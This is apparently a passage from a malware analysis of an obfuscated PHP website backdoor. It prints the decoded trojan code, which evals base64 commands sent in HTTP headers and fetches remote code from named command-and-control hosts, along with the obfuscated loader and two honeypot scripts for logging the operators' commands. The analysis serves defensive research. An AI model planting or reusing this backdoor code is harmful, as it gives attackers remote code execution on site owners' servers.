} elseif ($Q0OO0O=$I1ll11.@$_SERVER["REQUEST_URI"]) {
$QO0O0Q=@md5($I1ll11.PHP_OS.$I1lll1.$Q0Q0QO);
$w3n_code=get_temp_directory().".".$QO0O0Q;
define("determinator", $w3n_code);
$IlIlII = $w3n_code.".log";
if (@$_SERVER["HTTP_Y_AUTH"]==$QO0O0Q) {
$QO0QQ0="base64_decode";
echo "\r\n";
w3net_output("versio", $I1lll1."-".$IlI11l."-php");
if ($Q00OQO=$QO0QQ0(@$_SERVER["HTTP_EXECPHP"])){
@eval($Q00OQO);
echo "\r\n";
w3net_output("out", "ok");
}
exit(0);
}
$II11l1 = False;
$Il11I1 = @strtolower(@$_SERVER["HTTP_USER_AGENT"]);
foreach (explode(",", "google,yahoo,baidu,bingbot,msnbot,yandex") as $QOOQOO) {
if (strpos($Il11I1, $QOOQOO)!==False) {
$Il1Il1 = @fopen($w3n_code.".log", "a");
$Ill11I = @urlencode(@$_SERVER["REQUEST_URI"]);
@fwrite($Il1Il1, time()."\t".$QOOQOO."\t".$Ill11I."\n");
@fclose($Il1Il1);
$II11l1=True;
break;
}
}
if (@is_file($w3n_code)) {
@touch($w3n_code);
@include_once($w3n_code);
} elseif ($II11l1 === True) {
$I1Il1I = Array("sezqo.net", "fastaddz.com");
if (@touch($w3n_code)) {
$Q0OO0O=@urlencode($Q0OO0O);
$I11IIl = "/w3.php?u=".$Q0OO0O."&k=".$QO0O0Q."&t=php&p=".$IlI11l."&v=".$I1lll1;
$QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
@touch($w3n_code);
}
}
} else {
define("determinator", 1);
}
}
Again some string used instead function names etc. I replaced those to make the code readable again. Result: script found in section "The Decoded and Cleaned Up Script".
The following script implement the trojans protocol, but instead of executing the code it shall log it to a file. Better change the $hash
(e.g. use http://www.md5.cz/ to generate a valid md5 hash) - value must be equal in both scripts!
Store both script in a location accessible from internet. Change $fn = "evilphpcode-".$N.txt"; to a path where a script may create files! Call the script from the browser, it should say "Hi there ;-)". Set $url of second script to this URL. It will send a fake request to the "network". Call it from the browser and see "OK, request sent!". Now the script will log incoming 'execution requests' to files. This might take a while... then let us know what was in there!
First script (logging):
<?php
$hash = "c1a227ac6f77c4ad098144a61dd906a0";
$code = base64_decode(@$_SERVER["HTTP_EXECPHP"]);
$auth = $_SERVER["HTTP_Y_AUTH"];
function store() {
global $code, $auth;
for($N=1; file_exists($fn);++$N) { $fn = "evilphpcode-".$N.txt"; }
file_put_contents($fn, $code);
file_put_contents($fn."-hash", $auth);
}
if ($auth != $hash) { echo "Hi there ;-)"; store(); exit(0); }
$version1="ftp/201309"; $version2="3.01";
function out($key, $val) { echo "Y_".$key.":".$val."\r\n"; }
out("versio", $version2."-".$version1."-php");
sleep(1); store();
echo "\r\n";
out("out", "ok");
?>
Second script (request):
<?php
$hash = "c1a227ac6f77c4ad098144a61dd906a0";
$url = "http://mydomain.com/path/toscript/script.php"; // <-- put in first scripts location!!!
$url = urlencode($url);
$urltofetch = "http://sezqo.net/w3.php?u=".$url."&k=".$hash."&t=php&p=".$version1."&v=".$version2;
$data = file_get_contents($urltofetch);
echo "OK, request sent!";
?>
Starts like this:
$II11 = 110426;
if (!function_exists('I11lIl1I')) {
$GLOBALS['II11'] = 'PAYLOAD';
function I11lIl1I($a, $b) {
$c = $GLOBALS['II11'];
$d = pack('H*', '6261736536345f6465636f' . '6465');
return $d(substr($c, $a, $b));
};
$QO0000QQ0 = I11lIl1I(3374, 16);
$QO0000QQ0("/Q0QO00QOO/e", I11lIl1I(507, 2862), "Q0QO00QOO");
};
Witch turns into this:
if (!defined("determinator")) {
if (function_exists(I11lIl1I(1, 10))) {
@ini_set(I11lIl1I(14, 20), 1);
@ini_set(I11lIl1I(34, 19), 0);
}
function w3net_feof($Q0OOOQ, &$I1lI1I = NULL) {
$I1lI1I = microtime(true);
return feof($Q0OOOQ);
}
function w3net_getfile($I1ll11, $I11IIl) {
$IIlI1I = "curl";
$I1IIll = $IIlI1I . "_init";
if (@ini_get("allow_url_fopen") == "1") {
return @file_get_contents("http://" . $I1ll11 . $I11IIl . "&w=fgc");
} elseif (function_exists($I1IIll)) {
$QO00QO = @$I1IIll();
$QOOOQQ = $IIlI1I . "_setopt";
$IIl11I = $IIlI1I . "_exec";
@$QOOOQQ($QO00QO, CURLOPT_URL, "http://" . $I1ll11 . $I11IIl . "&w=cu");
@$QOOOQQ($QO00QO, CURLOPT_HEADER, false);
@$QOOOQQ($QO00QO, CURLOPT_RETURNTRANSFER, true);
@$QOOOQQ($QO00QO, CURLOPT_CONNECTTIMEOUT, 6);
$IIIl1I = @$IIl11I($QO00QO);
@curl_close($QO00QO);
if (empty($IIIl1I)) {
$IIIl1I = "";
} return $IIIl1I;
} else {
$Q0OOOQ = @fsockopen($I1ll11, 80, $Il111l, $Q000O0, 5);
if ($Q0OOOQ) {
$I111lI = "";
$I1lI1I = NULL;
@fputs($Q0OOOQ, "GET {$I11IIl}" . "&w=sk HTTP/1.0" . "\r\n" . "Host: " . "{$I1ll11}\r\n");
$QOOOQO = PHP_OS . "/" . PHP_VERSION;
@fputs($Q0OOOQ, "User-Agent: {$QOOOQO}\r\n\r\n");
while (!w3net_feof($Q0OOOQ, $I1lI1I) && (microtime(true) - $I1lI1I) < 2) {
$I111lI .= @fgets($Q0OOOQ, 128);
} @fclose($Q0OOOQ);
$Q000OQ = explode("\r\n\r\n", $I111lI);
unset($Q000OQ[0]);
return implode("\r\n\r\n", $Q000OQ);
}
}
}
function w3net_output($I1I1lI, $I1lIll) {
echo "Y_" . $I1I1lI . ":" . $I1lIll . "\r\n";
}
function php_server($Q0000Q) {
return @$_SERVER[$Q0000Q];
}
$IlI11l = I11lIl1I(55, 14);
$I1lll1 = I11lIl1I(69, 6);
$Q0Q0QO = I11lIl1I(78, 23);
$I1ll11 = I11lIl1I(102, 10);
if (isset($_SERVER[I11lIl1I(114, 7)])) {
if (@$_SERVER[I11lIl1I(114, 7)] != I11lIl1I(122, 4)) {
$I1ll11 = I11lIl1I(130, 11);
}
} $I1ll11.=strtolower(@$_SERVER[I11lIl1I(142, 12)]);
foreach ($_GET as $I1I1lI => $I1lIll) {
if (strpos($I1lIll, I11lIl1I(157, 7))) {
$_GET[$I1I1lI] = I11lIl1I(167, 0);
} elseif (strpos($I1lIll, I11lIl1I(167, 8))) {
$_GET[$I1I1lI] = I11lIl1I(167, 0);
}
} if (!isset($_SERVER[I11lIl1I(175, 15)])) {
$_SERVER[I11lIl1I(175, 15)] = @$_SERVER[I11lIl1I(190, 15)];
if (isset($_SERVER[I11lIl1I(211, 16)])) {
$_SERVER[I11lIl1I(175, 15)] .= I11lIl1I(231, 2) . @$_SERVER[I11lIl1I(211, 16)];
}
}
function get_temp_directory() {
$I11III = dirname(__FILE__) . DIRECTORY_SEPARATOR;
$Q0Q00Q = Array("/dev/shm", "/tmp/.font-unix", "/tmp/.ICE-unix", @$_SERVER["TMP"], @$_SERVER["TEMP"], @$_ENV["TMP"], @$_ENV["TMPDIR"], @$_ENV["TEMP"], "/tmp", @ini_get("upload_tmp_dir"), $I11III . "tmp", $I11III . "wp-content/uploads", $I11III . "wp-content/cache",);
foreach ($Q0Q00Q as $Q0QOOO) {
if (!empty($Q0QOOO)) {
$Q0QOOO.=DIRECTORY_SEPARATOR;
if (@is_writable($Q0QOOO)) {
$I11III = $Q0QOOO;
break;
}
}
} return $I11III;
}
if (strlen($I1ll11) < 10) {
define(I11lIl1I(235, 16), 0);
} elseif ($Q0OO0O = $I1ll11 . @$_SERVER[I11lIl1I(175, 15)]) {
$QO0O0Q = @md5($I1ll11 . PHP_OS . $I1lll1 . $Q0Q0QO);
$w3n_code = get_temp_directory() . I11lIl1I(253, 2) . $QO0O0Q;
define(I11lIl1I(235, 16), $w3n_code);
$IlIlII = $w3n_code . I11lIl1I(257, 6);
if (@$_SERVER[I11lIl1I(267, 15)] == $QO0O0Q) {
$QO0QQ0 = I11lIl1I(282, 18);
echo "\r\n";
w3net_output(I11lIl1I(301, 8), $I1lll1 . I11lIl1I(310, 2) . $IlI11l . I11lIl1I(314, 6));
if ($Q00OQO = $QO0QQ0(@$_SERVER[I11lIl1I(321, 16)])) {
@eval($Q00OQO);
echo "\r\n";
w3net_output(I11lIl1I(338, 4), I11lIl1I(342, 3));
} exit(0);
} $II11l1 = False;
$Il11I1 = @strtolower(@$_SERVER[I11lIl1I(346, 20)]);
foreach (explode(I11lIl1I(366, 2), I11lIl1I(371, 54)) as $QOOQOO) {
if (strpos($Il11I1, $QOOQOO) !== False) {
$Il1Il1 = @fopen($w3n_code . I11lIl1I(257, 6), I11lIl1I(430, 2));
$Ill11I = @urlencode(@$_SERVER[I11lIl1I(175, 15)]);
@fwrite($Il1Il1, time() . "\t" . $QOOQOO . "\t" . $Ill11I . "\n");
@fclose($Il1Il1);
$II11l1 = True;
break;
}
} if (@is_file($w3n_code)) {
@touch($w3n_code);
@include_once($w3n_code);
} elseif ($II11l1 === True) {
$I1Il1I = Array(I11lIl1I(435, 12), I11lIl1I(449, 16));
if (@touch($w3n_code)) {
$Q0OO0O = @urlencode($Q0OO0O);
$I11IIl = I11lIl1I(465, 14) . $Q0OO0O . I11lIl1I(482, 4) . $QO0O0Q . I11lIl1I(487, 12) . $IlI11l . I11lIl1I(503, 4) . $I1lll1;
$QOQOQO = w3net_getfile($I1Il1I[0], $I11IIl);
@touch($w3n_code);
}
}
} else {
define(I11lIl1I(235, 16), 1);
}
}
After that who knows. Happy hunting